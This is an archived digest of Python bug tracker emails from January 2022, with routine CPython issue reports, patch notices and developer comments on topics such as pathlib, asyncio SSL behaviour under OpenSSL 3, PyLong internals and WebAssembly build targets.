Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 04:11:51 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 09 Jan 2022 09:11:51 +0000 Subject: [issue46310] Simplify `for` loop in `.close()` method in `asyncio/windows_events` In-Reply-To: <1641719482.54.0.073879595451.issue46310@roundup.psfhosted.org> Message-ID: <1641719511.61.0.670553843777.issue46310@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28701 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30334 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 04:41:34 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 09 Jan 2022 09:41:34 +0000 Subject: [issue46148] Optimize pathlib In-Reply-To: <1640163600.5.0.408738563991.issue46148@roundup.psfhosted.org> Message-ID: <1641721294.19.0.0167960071431.issue46148@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: -kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 04:52:05 2022 From: report at bugs.python.org (Ethan Smith) Date: Sun, 09 Jan 2022 09:52:05 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1641721925.68.0.585960277832.issue40280@roundup.psfhosted.org> Change by Ethan Smith : ---------- pull_requests: +28702 pull_request: https://github.com/python/cpython/pull/30495 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 05:30:13 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 Jan 2022 10:30:13 +0000 Subject: [issue46203] Add timeout for Windows build steps In-Reply-To: <1640862419.94.0.348307028163.issue46203@roundup.psfhosted.org> Message-ID: <1641724213.17.0.945312032701.issue46203@roundup.psfhosted.org> Change by Mark Dickinson : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 05:57:23 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 09 Jan 2022 10:57:23 +0000 Subject: [issue46304] Unable to iterate over lines in a file without a block of code In-Reply-To: <1641614984.33.0.0710604496782.issue46304@roundup.psfhosted.org> Message-ID: <1641725843.81.0.678904281735.issue46304@roundup.psfhosted.org> Serhiy Storchaka added the comment: The safe way of using read_lines() is: lines = read_lines() try: # use lines finally: lines.close() or with contextlib.closing(read_lines()) as lines: # use lines And it is in no way better than using "with open()" directly. I think it is better to not add such sing to the stdlib because it only makes an illusion of safety but actually removes safety guards. If we want using generators in expressions we need to add support for "with" in expressions and comprehensions. data = json.load(f) with open(path, 'rb') as f lines = (line.strip() for path in files with open(path) as f for line in f) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 05:59:07 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 09 Jan 2022 10:59:07 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1641725947.62.0.233816072296.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 5c66414b5561c54e7a0f4bde8cc3271908ea525e by Ethan Smith in branch 'main': bpo-40280: Disable epoll_create in Emscripten config.site (GH-30494) https://github.com/python/cpython/commit/5c66414b5561c54e7a0f4bde8cc3271908ea525e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 06:28:56 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 Jan 2022 11:28:56 +0000 Subject: [issue45569] Drop support for 15-bit PyLong digits? In-Reply-To: <1634898107.47.0.88725686674.issue45569@roundup.psfhosted.org> Message-ID: <1641727736.84.0.079014892086.issue45569@roundup.psfhosted.org> Change by Mark Dickinson : ---------- pull_requests: +28703 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30497 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 06:29:38 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 Jan 2022 11:29:38 +0000 Subject: [issue45569] Drop support for 15-bit PyLong digits? In-Reply-To: <1634898107.47.0.88725686674.issue45569@roundup.psfhosted.org> Message-ID: <1641727778.41.0.822391641226.issue45569@roundup.psfhosted.org> Mark Dickinson added the comment: First step in GH-30497, which changes the default to 30-bit digits unconditionally, instead of having the default be platform dependent. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 06:37:06 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 09 Jan 2022 11:37:06 +0000 Subject: [issue28249] doctest.DocTestFinder reports incorrect line numbers with exclude_empty=False In-Reply-To: <1474558340.5.0.316638267735.issue28249@psf.upfronthosting.co.za> Message-ID: <1641728226.15.0.281572086171.issue28249@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch nosy: +sobolevn nosy_count: 2.0 -> 3.0 pull_requests: +28704 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30498 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 06:37:39 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 Jan 2022 11:37:39 +0000 Subject: [issue46294] Integer overflow & Int values loaded into Bool detected via Libfuzzer & UndefinedBehaviorSanitizer In-Reply-To: <1641567973.1.0.158416256462.issue46294@roundup.psfhosted.org> Message-ID: <1641728259.81.0.0726560141032.issue46294@roundup.psfhosted.org> Mark Dickinson added the comment: Thanks for checking, Steven. Your report also helped me to notice a minor portability bug (at Objects/longobject.c:288, where the wrong type is used in a cast); a fix is in GH-30496. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 06:39:50 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 09 Jan 2022 11:39:50 +0000 Subject: [issue28249] doctest.DocTestFinder reports incorrect line numbers with exclude_empty=False In-Reply-To: <1474558340.5.0.316638267735.issue28249@psf.upfronthosting.co.za> Message-ID: <1641728390.12.0.199701739221.issue28249@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 type: -> behavior versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 06:43:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 09 Jan 2022 11:43:02 +0000 Subject: [issue40064] py38: document xml.etree.cElementTree will be removed in 3.9 In-Reply-To: <1596867346.4.0.810060139535.issue40064@roundup.psfhosted.org> Message-ID: <1641728582.89.0.92126097256.issue40064@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 06:55:44 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 Jan 2022 11:55:44 +0000 Subject: [issue46311] Clean up PyLong_FromLong and PyLong_FromLongLong Message-ID: <1641729344.86.0.271892670725.issue46311@roundup.psfhosted.org> New submission from Mark Dickinson : PR GH-27832 inadvertently (I believe) introduced a couple of changes to PyLong_FromLong that didn't make a lot of sense: an (unsigned long) cast was replaced with (twodigits), and a digit count variable (counting number of PyLong digits in a C long) had its type needlessly changed from int to Py_ssize_t. The first change is a potential portability bug, but only on platforms where the width of C's `long` exceeds 64 bits. The (unsigned long) cast is obviously correct, while figuring out whether (twodigits) loses information takes some work. The second change is merely a potential pessimization: there's no need to use what's typically a 64-bit integer to count the number of PyLong digits in a long. While fixing these, I've also reworked the PyLong_FromLong code a bit to move the medium int check earlier, and I've applied analogous changes to PyLong_FromLongLong. ---------- messages: 410141 nosy: Mark.Shannon, mark.dickinson priority: normal severity: normal status: open title: Clean up PyLong_FromLong and PyLong_FromLongLong versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 06:56:03 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 Jan 2022 11:56:03 +0000 Subject: [issue46311] Clean up PyLong_FromLong and PyLong_FromLongLong In-Reply-To: <1641729344.86.0.271892670725.issue46311@roundup.psfhosted.org> Message-ID: <1641729363.51.0.0271359522275.issue46311@roundup.psfhosted.org> Change by Mark Dickinson : ---------- keywords: +patch pull_requests: +28705 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30496 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 07:11:22 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 Jan 2022 12:11:22 +0000 Subject: [issue46272] Fix bitwise and logical terminology in python.gram In-Reply-To: <1641408885.92.0.0799891531401.issue46272@roundup.psfhosted.org> Message-ID: <1641730282.4.0.75996662294.issue46272@roundup.psfhosted.org> Change by Mark Dickinson : ---------- keywords: +patch pull_requests: +28706 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30499 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 07:11:59 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 09 Jan 2022 12:11:59 +0000 Subject: [issue1598083] Top-level exception handler writes to stdout unsafely Message-ID: <1641730319.37.0.710213670916.issue1598083@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: needs patch -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 07:12:02 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 Jan 2022 12:12:02 +0000 Subject: [issue46272] Fix bitwise and logical terminology in python.gram In-Reply-To: <1641408885.92.0.0799891531401.issue46272@roundup.psfhosted.org> Message-ID: <1641730322.36.0.634527384293.issue46272@roundup.psfhosted.org> Mark Dickinson added the comment: > So, the meaning of these names like this is, "lt followed by an optional bitwise_or expression"? That's certainly how I was reading it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 07:36:50 2022 From: report at bugs.python.org (yota moteuchi) Date: Sun, 09 Jan 2022 12:36:50 +0000 Subject: [issue46312] range() function could accept slice() objects as parameters Message-ID: <1641731810.02.0.364133890346.issue46312@roundup.psfhosted.org> New submission from yota moteuchi : This improvement proposal is close to : https://bugs.python.org/issue42956 and also detailed in https://stackoverflow.com/questions/13855288/turn-slice-into-range to iterate over a slice, the recommended method seems to be : s = slice(5,100,3) for i in range(s.stop)[s] : # do something but if range() accepted directly a slice, it would dramatically improve the readability : s = slice(5,100,3) for i in range(s) : # do something and it could be convenient, especially inside the __getitem__ property. I'll try to make a quick patch to test... ---------- messages: 410143 nosy: yota moteuchi priority: normal severity: normal status: open title: range() function could accept slice() objects as parameters type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 07:46:20 2022 From: report at bugs.python.org (yota moteuchi) Date: Sun, 09 Jan 2022 12:46:20 +0000 Subject: [issue46312] range() function could accept slice() objects as parameters In-Reply-To: <1641731810.02.0.364133890346.issue46312@roundup.psfhosted.org> Message-ID: <1641732380.68.0.809967629599.issue46312@roundup.psfhosted.org> Change by yota moteuchi : ---------- components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 07:47:25 2022 From: report at bugs.python.org (Ben Kehoe) Date: Sun, 09 Jan 2022 12:47:25 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> Message-ID: <1641732445.29.0.502655369647.issue46307@roundup.psfhosted.org> Ben Kehoe added the comment: Having slept on it, I realized that if I was presenting interactive prompts for a template, I would expect the prompts to be in order that the identifiers appear in the template. Accordingly, I've updated the PR to maintain ordering. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 07:47:58 2022 From: report at bugs.python.org (yota moteuchi) Date: Sun, 09 Jan 2022 12:47:58 +0000 Subject: [issue46312] range() function could accept slice() objects as parameters In-Reply-To: <1641731810.02.0.364133890346.issue46312@roundup.psfhosted.org> Message-ID: <1641732478.35.0.224493459558.issue46312@roundup.psfhosted.org> Change by yota moteuchi : ---------- components: +Interpreter Core -Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 08:32:33 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 09 Jan 2022 13:32:33 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1641735153.44.0.93203321156.issue37295@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 2d787971c65b005d0cce219399b9a8e2b70d4ef4 by Serhiy Storchaka in branch 'main': bpo-37295: Use constant-time comb() and perm() for larger n depending on k (GH-30305) https://github.com/python/cpython/commit/2d787971c65b005d0cce219399b9a8e2b70d4ef4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 08:40:17 2022 From: report at bugs.python.org (=?utf-8?q?Alex_Gr=C3=B6nholm?=) Date: Sun, 09 Jan 2022 13:40:17 +0000 Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 Message-ID: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> New submission from Alex Gr?nholm : PR #25309 (https://github.com/python/cpython/pull/25309) changed OpenSSL behavior so that it ignores unexpected EOFs by default. This was detected by the test suites of both trio and AnyIO when running on OpenSSL 3. We worked around the problem by explicitly unsetting the SSL_OP_IGNORE_UNEXPECTED_EOF flag and then checking if the "strerror" attribute of SSLError contains the text "UNEXPECTED_EOF_WHILE_READING". The remedy in the standard library would be twofold: 1. Revert the change of enabling SSL_OP_IGNORE_UNEXPECTED_EOF by default 2. Handle the condition properly so that SSLEOFError is raised instead of the generic SSLError As SSLSockets ignore SSLEOFError by default, this fix should work fine for those too. ---------- assignee: christian.heimes components: SSL messages: 410146 nosy: alex.gronholm, christian.heimes, lukasz.langa priority: normal severity: normal status: open title: SSLObject does not raise SSLEOFError on OpenSSL 3 type: security versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 08:51:12 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 09 Jan 2022 13:51:12 +0000 Subject: [issue46312] range() function could accept slice() objects as parameters In-Reply-To: <1641731810.02.0.364133890346.issue46312@roundup.psfhosted.org> Message-ID: <1641736272.25.0.961991864497.issue46312@roundup.psfhosted.org> Serhiy Storchaka added the comment: Accepting a slice directly in the range constructor is ambiguous. What to do if start or stop are negative or None? What if stop is less than start? You need to specify a sequence length to handle these cases. Maybe the following expressions work for you: range(length)[s] or range(*s.indices(length)) But other users may need different behavior (if they want convert slice(-20, -10) to range(-20, -10)). There is no general solution which would work for all, you have to code what you need. ---------- nosy: +rhettinger, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 08:53:49 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 09 Jan 2022 13:53:49 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> Message-ID: <1641736429.21.0.633548021827.issue46307@roundup.psfhosted.org> Serhiy Storchaka added the comment: What are the use cases for this feature? ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 08:53:54 2022 From: report at bugs.python.org (Frank Feuerbacher) Date: Sun, 09 Jan 2022 13:53:54 +0000 Subject: [issue46264] 'I'.lower() should give non dotted i for LANG=tr_TR In-Reply-To: <1641354234.77.0.411418528996.issue46264@roundup.psfhosted.org> Message-ID: <1641736434.3.0.47115739892.issue46264@roundup.psfhosted.org> Frank Feuerbacher added the comment: Using casefold did not help ubuntu Lang is en_US.UTF-8 [GCC 9.3.0] on linux >>> folded_1: str = "Turkish I: ??".casefold() >>> folded_2: str = "tUrk?sh i: iI".casefold() >>> print(folded_1) turkish i: i?? >>> print(folded_2) turki?sh i: ii >>> print(folded_1==folded_2) False It exhibits the same shortcoming as toLower. multi-language support ain't easy, especially when everything you learned about strings ain't true. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:11:07 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 09 Jan 2022 14:11:07 +0000 Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 In-Reply-To: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> Message-ID: <1641737467.66.0.058472796748.issue46313@roundup.psfhosted.org> Change by Christian Heimes : ---------- assignee: christian.heimes -> type: security -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:12:28 2022 From: report at bugs.python.org (=?utf-8?q?Alex_Gr=C3=B6nholm?=) Date: Sun, 09 Jan 2022 14:12:28 +0000 Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 In-Reply-To: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> Message-ID: <1641737548.27.0.737307599382.issue46313@roundup.psfhosted.org> Alex Gr?nholm added the comment: This is a security issue because it exposes users to TLS truncation attacks that weren't possible before because such attempts would raise SSLEOFError. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:40:04 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 09 Jan 2022 14:40:04 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda Message-ID: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> New submission from Ned Batchelder : This code seems to get a RESUME opcode where no function call is happening: a = 1 fn = lambda 2 b = 3 Here is the disassembly. Offset 6 has a RESUME opcode for line 2: Python 3.11.0a3+ (heads/main:0fc58c1e05, Jan 8 2022, 19:45:58) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import dis >>> dis.dis("""\ ... a = 1 ... fn = lambda: 2 ... b = 3 ... """) 0 RESUME 0 1 2 LOAD_CONST 0 (1) 4 STORE_NAME 0 (a) 2 6 RESUME 0 8 LOAD_CONST 1 ( at 0x10772c2d0, file "", line 2>) 10 MAKE_FUNCTION 0 12 STORE_NAME 1 (fn) 3 14 LOAD_CONST 2 (3) 16 STORE_NAME 2 (b) 18 LOAD_CONST 3 (None) 20 RETURN_VALUE Disassembly of at 0x10772c2d0, file "", line 2>: 2 0 RESUME 0 2 LOAD_CONST 1 (2) 4 RETURN_VALUE This causes an extra "call" event when tracing: ---< bug233.py >-------------------------------------------------------- import linecache, os.path, sys def trace(frame, event, arg): if (event != "line") and ("bug233" in frame.f_code.co_filename): lineno = frame.f_lineno first = frame.f_code.co_firstlineno source = linecache.getline(frame.f_code.co_filename, lineno) if lineno else "******" file = os.path.basename(frame.f_code.co_filename) print("{} {}@{!s:4} (first={}): {}".format(event[:4], file, lineno, first, source.rstrip())) return trace print(sys.version) sys.settrace(trace) def f(): a = 1 fn = lambda: 2 b = 3 f() ------------------------------------------------------------------------ % python3.10 bug233.py 3.10.1 (main, Dec 14 2021, 08:30:13) [Clang 12.0.0 (clang-1200.0.32.29)] call bug233.py at 15 (first=15): def f(): retu bug233.py at 18 (first=15): b = 3 % python3.11 bug233.py 3.11.0a3+ (heads/main:0fc58c1e05, Jan 8 2022, 19:45:58) [Clang 12.0.0 (clang-1200.0.32.29)] call bug233.py at 15 (first=15): def f(): call bug233.py at 17 (first=15): fn = lambda: 2 retu bug233.py at 18 (first=15): b = 3 ---------- components: Interpreter Core keywords: 3.11regression messages: 410151 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: Stray RESUME opcode for unused lambda versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:40:45 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 09 Jan 2022 14:40:45 +0000 Subject: [issue46225] f_lasti behaves differently for lambdas returned from loops In-Reply-To: <1641131109.09.0.64467004573.issue46225@roundup.psfhosted.org> Message-ID: <1641739245.92.0.342547613893.issue46225@roundup.psfhosted.org> Ned Batchelder added the comment: Thanks, it does help. While updating coverage.py to use the RESUME information, I found another problem: https://bugs.python.org/issue46314 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:47:43 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 09 Jan 2022 14:47:43 +0000 Subject: [issue46315] Add support for WebAssembly System Interface (wasm32-wasi) Message-ID: <1641739663.52.0.433507958543.issue46315@roundup.psfhosted.org> New submission from Christian Heimes : WASI is another WebAssembly platform similar to Emscripten (bpo-40280). Simply speaking Emscripten binaries (wasm32-emscripten) run inside a browser while WASI binaries target standalone runtimes like wasmtime [2][3] on the host. The lines are a bit blurry, as it is possible to run WASI binaries in the browser with help of JS-polyfills. WASI provides compile once, run anyway with JIT/AOT and sandboxing. WASI is still under development and is lacking several core features: - threading support and pthread API - sockets - signals are emulated (_WASI_EMULATED_SIGNAL and -lwasi-emulated-signal) - DAC APIs like chmod, umask - user-related APIs like pwd, grp - dup(), dup2(), F_DUPFD For 3.11 I plan to fix our use of #ifdef HAVE_FEATURE to make it easier to experiment with WASI. The pthread APIs need stubs, which I won't commit to 3.11 upstream yet. [1] https://wasi.dev/ [2] https://github.com/bytecodealliance/wasmtime [3] https://hacks.mozilla.org/2019/03/standardizing-wasi-a-webassembly-system-interface/ ---------- assignee: christian.heimes components: Build messages: 410153 nosy: christian.heimes priority: normal severity: normal status: open title: Add support for WebAssembly System Interface (wasm32-wasi) type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:52:52 2022 From: report at bugs.python.org (Barney Gale) Date: Sun, 09 Jan 2022 14:52:52 +0000 Subject: [issue46316] Optimize pathlib.Path.iterdir() Message-ID: <1641739972.06.0.905867397402.issue46316@roundup.psfhosted.org> New submission from Barney Gale : pathlib.Path.iterdir() contains the following code: if name in {'.', '..'}: # Yielding a path object for these makes little sense continue This check is unnecessary as os.listdir() does not return entries for '.' or '..': os.listdir(path='.') Return a list containing the names of the entries in the directory given by path. The list is in arbitrary order, and does not include the special entries '.' and '..' even if they are present in the directory See https://docs.python.org/3/library/os.html#os.listdir ---------- components: Library (Lib) messages: 410154 nosy: barneygale priority: normal severity: normal status: open title: Optimize pathlib.Path.iterdir() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:52:56 2022 From: report at bugs.python.org (Oz Tiram) Date: Sun, 09 Jan 2022 14:52:56 +0000 Subject: [issue46317] Pathlib.rename isn't robust Message-ID: <1641739976.38.0.625892156687.issue46317@roundup.psfhosted.org> New submission from Oz Tiram : Pathlib.rename will fail across file system with: OSError: [Errno 18] Invalid cross-device link e.g: -> path_dict["current_path"].rename(path_dict["destination"]) (Pdb) n OSError: [Errno 18] Invalid cross-device link: '/tmp/pipenv-k1m0oynt-yaml/PyYAML-6.0/lib/yaml' -> '/home/oz123/Software/pipenv/pipenv/patched/yaml3' This is because it uses os.rename under the hood: https://github.com/python/cpython/blob/3.10/Lib/pathlib.py#L306 One can either replace it with `shutil.move` which works, or one could add another method to Pathlib.move(...) with similar signature and return value, which calls `shutil.move` under the hood. Before submitting a patch for that, I would like to get feedback for that. ---------- components: Library (Lib) messages: 410155 nosy: Oz.Tiram priority: normal severity: normal status: open title: Pathlib.rename isn't robust versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 10:04:53 2022 From: report at bugs.python.org (Julien Palard) Date: Sun, 09 Jan 2022 15:04:53 +0000 Subject: [issue46318] asyncio and ssl: ResourceWarning: unclosed transport Message-ID: <1641740693.62.0.185226666966.issue46318@roundup.psfhosted.org> New submission from Julien Palard : Originally opened at: https://github.com/aio-libs/aiohttp/issues/6071 Reproducer: import asyncio class DumbProtocol(asyncio.Protocol): def connection_made(self, transport): print("Connection made") self.transport = transport def data_received(self, data): print("Data received: {!r}".format(data)) async def main(): loop = asyncio.get_running_loop() for i in range(2): _, _ = await loop.create_connection(DumbProtocol, "python.org", 443, ssl=True) while True: print("Waiting for the server to close the connection...") await asyncio.sleep(10) asyncio.run(main()) Using this reproducer I get a ResourceWarning: Data received: b"HTTP/1.0 408 Request Time-out\r\nCache-Control: no-cache\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n

408 Request Time-out

\nYour browser didn't send a complete request in time.\n\n\n" /usr/lib/python3.9/asyncio/sslproto.py:320: ResourceWarning: unclosed transport _warn(f"unclosed transport {self!r}", ResourceWarning, source=self) Object allocated at (most recent call last): File "/usr/lib/python3.9/asyncio/sslproto.py", lineno 445 self._app_transport = _SSLProtocolTransport(self._loop, self) I can also reproduce it on current master. ---------- components: asyncio messages: 410156 nosy: asvetlov, mdk, yselivanov priority: normal severity: normal status: open title: asyncio and ssl: ResourceWarning: unclosed transport versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 10:10:58 2022 From: report at bugs.python.org (Barney Gale) Date: Sun, 09 Jan 2022 15:10:58 +0000 Subject: [issue46316] Optimize pathlib.Path.iterdir() In-Reply-To: <1641739972.06.0.905867397402.issue46316@roundup.psfhosted.org> Message-ID: <1641741058.06.0.426709520976.issue46316@roundup.psfhosted.org> Change by Barney Gale : ---------- keywords: +patch pull_requests: +28707 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30501 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 10:21:28 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 09 Jan 2022 15:21:28 +0000 Subject: [issue43698] Use syntactically correct examples on abc package page In-Reply-To: <1617301119.32.0.268651511376.issue43698@roundup.psfhosted.org> Message-ID: <1641741688.66.0.725987562703.issue43698@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch nosy: +sobolevn nosy_count: 2.0 -> 3.0 pull_requests: +28708 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30502 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 10:33:14 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 09 Jan 2022 15:33:14 +0000 Subject: [issue43698] Use syntactically correct examples on abc package page In-Reply-To: <1617301119.32.0.268651511376.issue43698@roundup.psfhosted.org> Message-ID: <1641742394.82.0.847277531962.issue43698@roundup.psfhosted.org> Nikita Sobolev added the comment: Thank you, I fully agree that this can be improved. Please, take a look at https://github.com/python/cpython/pull/30502 I will apprecaite your review! ---------- stage: patch review -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 11:22:58 2022 From: report at bugs.python.org (miss-islington) Date: Sun, 09 Jan 2022 16:22:58 +0000 Subject: [issue46272] Fix bitwise and logical terminology in python.gram In-Reply-To: <1641408885.92.0.0799891531401.issue46272@roundup.psfhosted.org> Message-ID: <1641745378.24.0.977693927837.issue46272@roundup.psfhosted.org> miss-islington added the comment: New changeset 1bee9a4625e101d3308831de37590f4e2f57c71c by Mark Dickinson in branch 'main': bpo-46272: Fix two heading comments in python.gram (GH-30499) https://github.com/python/cpython/commit/1bee9a4625e101d3308831de37590f4e2f57c71c ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 11:43:51 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 09 Jan 2022 16:43:51 +0000 Subject: [issue46272] Fix bitwise and logical terminology in python.gram In-Reply-To: <1641408885.92.0.0799891531401.issue46272@roundup.psfhosted.org> Message-ID: <1641746631.49.0.067476250881.issue46272@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 11:49:14 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 09 Jan 2022 16:49:14 +0000 Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 In-Reply-To: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> Message-ID: <1641746954.28.0.168276525351.issue46313@roundup.psfhosted.org> Christian Heimes added the comment: This is not a security issue because OpenSSL 3.0.0 is not officially supported yet. OpenSSL 3.0.0 support is prelimiary, experimental, and provisional. >From https://docs.python.org/3/whatsnew/3.10.html#ssl > The ssl module has preliminary support for OpenSSL 3.0.0. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 12:03:17 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 09 Jan 2022 17:03:17 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 In-Reply-To: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> Message-ID: <1641747797.9.0.145154914446.issue46270@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- keywords: +patch pull_requests: +28709 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30504 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 12:05:50 2022 From: report at bugs.python.org (Simon Wrede) Date: Sun, 09 Jan 2022 17:05:50 +0000 Subject: [issue46309] Task created by StreamReaderProtocol gets garbage collected. In-Reply-To: <1641684955.44.0.77228446083.issue46309@roundup.psfhosted.org> Message-ID: <1641747950.46.0.0527348987268.issue46309@roundup.psfhosted.org> Change by Simon Wrede : ---------- keywords: +patch pull_requests: +28710 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30505 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 13:37:40 2022 From: report at bugs.python.org (Tony Rice) Date: Sun, 09 Jan 2022 18:37:40 +0000 Subject: [issue46319] datetime.utcnow() should return a timezone aware datetime Message-ID: 